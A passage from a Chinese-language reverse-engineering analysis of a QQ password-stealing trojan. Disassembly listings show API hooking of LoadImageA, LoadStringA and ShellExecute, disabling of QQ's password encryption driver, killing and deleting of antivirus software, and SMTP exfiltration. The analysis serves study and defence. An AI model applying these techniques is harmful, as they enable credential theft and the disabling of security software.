003DBCFA   .  8D55 AC       lea     edxdword ptr [ebp-54]
003DBCFD   .  E8 D68EFFFF   call    003D4BD8
003DBD02   .  8B45 AC       mov     eaxdword ptr [ebp-54]
003DBD05   .  BA 80BF3D00   mov     edx, 003DBF80     ASCII "QQ.Exe"
上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call    003D4BA8里面)
发果不一样就跳走,(这可是个关键跳,两边都的分析)
先按正常顺序来,跳走
又开始那一系列:打开互斥….
然后
把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。
然后主线程就这样永远的结束了。
让我们回过头来看看与QQ.EXE比较后的关键跳吧:
为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下
003DBD11     /0F85 E8000000 jnz     003DBDFF      注意
把下面的互斥跳转也要改
003DBD34     /0F85 C5000000 jnz     003DBDFF
下面开始:
003DBD43   .  E8 AC8CFFFF   call    003D49F4
上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
003DBD60   .  E8 1B95FFFF   call    003D5280  上面dll文件信息
003DBD97   .  8D45 90       lea     eaxdword ptr [ebp-70]
003DBD9A   .  B9 90BF3D00   mov     ecx, 003DBF90     ASCII "npkcrypt.bak"
003DBD9F   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDA5   .  E8 0A7BFFFF   call    003D38B4
003DBDB2   .  50            push    eax
003DBDB3   .  8D45 8C       lea     eaxdword ptr [ebp-74]
003DBDB6   .  B9 A8BF3D00   mov     ecx, 003DBFA8                 ASCII "npkcrypt.sys"
003DBDBB   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDC1   .  E8 EE7AFFFF   call    003D38B4
003DBDC6   .  8B45 8C       mov     eaxdword ptr [ebp-74]
003DBDC9   .  E8 9A7CFFFF   call    003D3A68
003DBDCE   .  50            push    eax                          |ExistingName
003DBDCF   .  E8 C885FFFF   call    <jmp.&kernel32.MoveFileA>    \MoveFileA
说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak
003DBDD4   .  8D45 88       lea     eaxdword ptr [ebp-78]
003DBDD7   .  B9 C0BF3D00   mov     ecx, 003DBFC0                      ASCII "LoginCtrl.dll"
003DBDDC   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDE2   .  E8 CD7AFFFF   call    003D38B4
003DBDE7   .  8B45 88       mov     eaxdword ptr [ebp-78]
003DBDEA   .  E8 797CFFFF   call    003D3A68
003DBDEF   .  50            push    eax                               /FileName
003DBDF0   .  E8 9F85FFFF   call    <jmp.&kernel32.LoadLibraryA>      \LoadLibraryA
Load一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下)
然后启动一个线程,
003DB098  /.  55            push    ebp
003DB099  |.  8BEC          mov     ebpesp
003DB09B  |.  53            push    ebx
003DB09C  |.  BB A00F0000   mov     ebx, 0FA0
003DB0A1  |>  E8 16FFFFFF   /call    003DAFBC
003DB0A6  |.  6A 64         |push    64                               /Timeout = 100. ms
003DB0A8  |.  E8 2793FFFF   |call    <jmp.&kernel32.Sleep>            \Sleep
003DB0AD  |.  4B            |dec     ebx
003DB0AE  |.^ 75 F1         \jnz     short 003DB0A1
003DB0B0  |.  5B            pop     ebx
003DB0B1  |.  5D            pop     ebp
003DB0B2  \.  C2 0400       retn    4
它在每0.1s循环做一件事情:看call    003DAFBC
里面不断的找标题为QQ用户登陆的对话框
找到就在上面的画上一个图标(伪装?)
找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉
接着启动一个线程之后
然后又调用003DBDFA   .  E8 31FBFFFF   call    003DB930
这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析:
看这个call里面:
003DB930  /$  68 CCB93D00   push    003DB9CC        /Arg3 = 003DB9CC ASCII "user32.dll"
003DB935  |.  68 D8B93D00   push    003DB9D8         |Arg2 = 003DB9D8 ASCII "LoadImageA"
003DB93A  |.  68 20B83D00   push    003DB820         |Arg1 = 003DB820
003DB93F  |.  B9 E4B93D00   mov     ecx, 003DB9E4    |ASCII "LoginCtrl.Dll"
003DB944  |.  B2 01         mov     dl, 1               |
003DB946  |.  A1 C0B53D00   mov     eaxdword ptr [3DB5C0]     |
003DB94B  |.  E8 C8FCFFFF   call    003DB618          \up.003DB618
又在不断的call
1.    user32.dll,LoadImageA,LoginCtrl.Dll
2.    user32.dll,LoadStringA,MFC42.Dll
3.    shell32.dll,ShellExecuteA,QQHelperDll.Dll
全是用的call    003DB618,这里一定很重要
拿第一组为例子看一下:
003DB639  |.  E8 1E8DFFFF   call    <jmp.&kernel32.GetModuleHandleA>  \GetModuleHandleA
003DB63E  |.  8947 08       mov     dword ptr [edi+8], eax
003DB641  |.  837F 08 00    cmp     dword ptr [edi+8], 0
003DB645  |.  74 2E         je      short 003DB675
003DB647  |.  895F 0C       mov     dword ptr [edi+C], ebx
003DB64A  |.  8B45 08       mov     eaxdword ptr [ebp+8]
003DB64D  |.  8947 10       mov     dword ptr [edi+10], eax
003DB650  |.  8B45 0C       mov     eaxdword ptr [ebp+C]
003DB653  |.  50            push    eax                               /ProcNameOrOrdinal
003DB654  |.  53            push    ebx                               |/pModule
003DB655  |.  E8 028DFFFF   call    <jmp.&kernel32.GetModuleHandleA>  |\GetModuleHandleA
003DB65A  |.  50            push    eax                               |hModule
003DB65B  |.  E8 0C8DFFFF   call    <jmp.&kernel32.GetProcAddress>    \GetProcAddress
从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着
003DB670  |.  E8 67000000   call    003DB6DC
Call了一下,跟进去:
一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢
可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。
那么其它的就不用说了吧
它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。
在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。
回过头来看看
003DBCC1   .  E8 5E86FFFF   call    <jmp.&kernel32.CreateThread>      \CreateThread
那个线程吧
地址是:003db3fc
到那里去看看
发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。
这5个线程:
1.    003db0d0
2.    003db10c
3.    003db120
4.    003db12c
5.    003db244
003db0d0:里面看003DB0F1  |.  E8 A6D0FFFF   call    003D819C
跟进去会看到:
003D81E7  |.  E8 98FBFFFF   call    003D7D84                    
再跟进去:
003D7D8A  |.  E8 79FDFFFF   call    003D7B08
再跟进去:会发现开始不断的得到一系列列出进程的函数的地址
不断的调用它们把进程,模块,线程都列出来
然后和它储备的一些比较,并在这里
003D8262  |.  E8 15FFFFFF   |call    003D817C
003D817C  /$  53            push    ebx
003D817D  |.  50            push    eax                         /ProcessId
003D817E  |.  6A FF         push    -1                          |Inheritable = TRUE
003D8180  |.  68 FF0F1F00   push    1F0FFF                      |Access = PROCESS_ALL_ACCESS
003D8185  |.  E8 22C2FFFF   call    <jmp.&kernel32.OpenProcess> \OpenProcess
003D818A  |.  8BD8          mov     ebxeax
003D818C  |.  6A 00         push    0                           /ExitCode = 0
003D818E  |.  53            push    ebx                         |hProcess
003D818F  |.  E8 48C2FFFF   call    <jmp.&kernel32.TerminatePr> \TerminateProcess
结束进程.
来看第二个003db10c:
003DB10C  /.  55            push    ebp
003DB10D  |.  8BEC          mov     ebpesp
003DB10F  |.  E8 10D9FFFF   call    003D8A24
003DB114  |.  E8 A3DCFFFF   call    003D8DBC
003DB119  |.  5D            pop     ebp
003DB11A  \.  C2 0400       retn    4
里面有两个call
第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。
把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。
第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。
第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。
不过在里面又启动一个线程
003D9BE5  |.  50            push    eax                            /pThreadId
003D9BE6  |.  6A 00         push    0                              |CreationFlags = 0
003D9BE8  |.  6A 01         push    1                              |pThreadParm = 00000001
003D9BEA  |.  68 84993D00   push    003D9984                       |ThreadFunction = E83B4A4D.003D9984
003D9BEF  |.  6A 00         push    0                              |StackSize = 0
003D9BF1  |.  6A 00         push    0                              |pSecurity = NULL
003D9BF3  |.  E8 2CA7FFFF   call    <jmp.&kernel32.CreateThread>   \CreateThread
进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。
第四个:看
003DB173   .  E8 08A9FFFF   call    003D5A80
进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议
看第五个:
读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径
003DB302   .  E8 95CEFFFF   call    003D819C
上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。
003DB31F   .  50            push    eax
003DB320   .  8D45 E8       lea     eaxdword ptr [ebp-18]
003DB323   .  E8 A097FFFF   call    003D4AC8
003DB328   .  8B45 E8       mov     eaxdword ptr [ebp-18]
003DB32B   .  E8 3887FFFF   call    003D3A68
003DB330   .  50            push    eax                               |ExistingFileName
003DB331   .  E8 B68FFFFF   call    <jmp.&kernel32.CopyFileA>         \CopyFileA
把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak
然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。
鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^
Copyright©2007-2015 武汉市科锐软件技术有限公司.
公司地址:武汉市东湖新技术开发区关南园一路当代光谷梦工场5号楼十层
鄂ICP备17007538号-1